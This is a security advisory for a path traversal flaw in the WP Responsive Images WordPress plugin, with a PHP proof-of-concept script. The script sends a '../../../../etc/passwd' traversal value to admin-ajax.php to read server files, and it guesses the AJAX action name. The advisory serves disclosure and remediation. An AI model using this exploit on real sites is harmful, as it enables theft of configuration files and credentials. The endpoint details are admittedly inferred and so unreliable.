Atomic Edge analysis of CVE-2026-1557 (metadata-based):
The WP Responsive Images plugin version 1.0 contains an unauthenticated path traversal vulnerability. Attackers can exploit this flaw to read arbitrary files from the server via the ‘src’ parameter. The CVSS 3.1 score of 7.5 (High) reflects the attack’s network-based nature, low complexity, and high confidentiality impact.
Atomic Edge research indicates the root cause is improper pathname limitation (CWE-22). The plugin likely fails to validate or sanitize user-supplied input in the ‘src’ parameter before using it in a file operation. This inference stems from the CWE classification and vulnerability description. Without source code, we cannot confirm the exact vulnerable function, but WordPress plugins commonly expose such parameters through AJAX handlers or REST endpoints that lack proper authorization and input validation.
Exploitation involves sending a crafted HTTP request to a plugin-specific endpoint. Based on WordPress plugin patterns, the endpoint is likely an AJAX handler at /wp-admin/admin-ajax.php. The action parameter may derive from the plugin slug, such as ‘wp_responsive_images_action’ or similar. Attackers append a malicious ‘src’ parameter containing directory traversal sequences like ‘../../../../etc/passwd’. The payload bypasses intended restrictions, allowing access to files outside the web root. No authentication or nonce is required.
Remediation requires implementing proper input validation and path sanitization. The plugin should normalize the user-supplied path, restrict it to allowed directories, and verify the requested file exists within the intended scope. WordPress security best practices include using the ABSPATH constant for path validation, applying realpath() or basename() functions, and adding capability checks to ensure only authorized users can access the functionality.
Successful exploitation leads to arbitrary file read. Attackers can retrieve sensitive configuration files (wp-config.php), system files (/etc/passwd), or database credentials. This information disclosure can enable further attacks, including site takeover or server compromise. The vulnerability’s unauthenticated nature significantly increases its risk, as any visitor can trigger the exploit without prior access.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1557 - WP Responsive Images <= 1.0 - Unauthenticated Path Traversal to Arbitrary File Read via src
<?php
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
// The exact AJAX action name is inferred from plugin naming conventions.
// Common patterns include: plugin slug with underscores, 'wp_ajax_' prefix omitted.
$action = 'wp_responsive_images_action';
// Target file to read. Adjust traversal depth based on server configuration.
$malicious_src = '../../../../etc/passwd';
$post_data = array(
'action' => $action,
'src' => $malicious_src
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Disable SSL verification for testing environments.
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && !empty($response)) {
echo "Potential success. Response preview:n";
echo substr($response, 0, 500) . "n";
// Check for indicators of file content.
if (strpos($response, 'root:') !== false || strpos($response, 'daemon:') !== false) {
echo "[+] /etc/passwd likely leaked.n";
}
} else {
echo "Request failed or returned empty. HTTP Code: $http_coden";
echo "Consider trying different action names:n";
echo "- 'wp_responsive_images'n";
echo "- 'responsive_images_action'n";
echo "- 'wpri_action'n";
}
?>
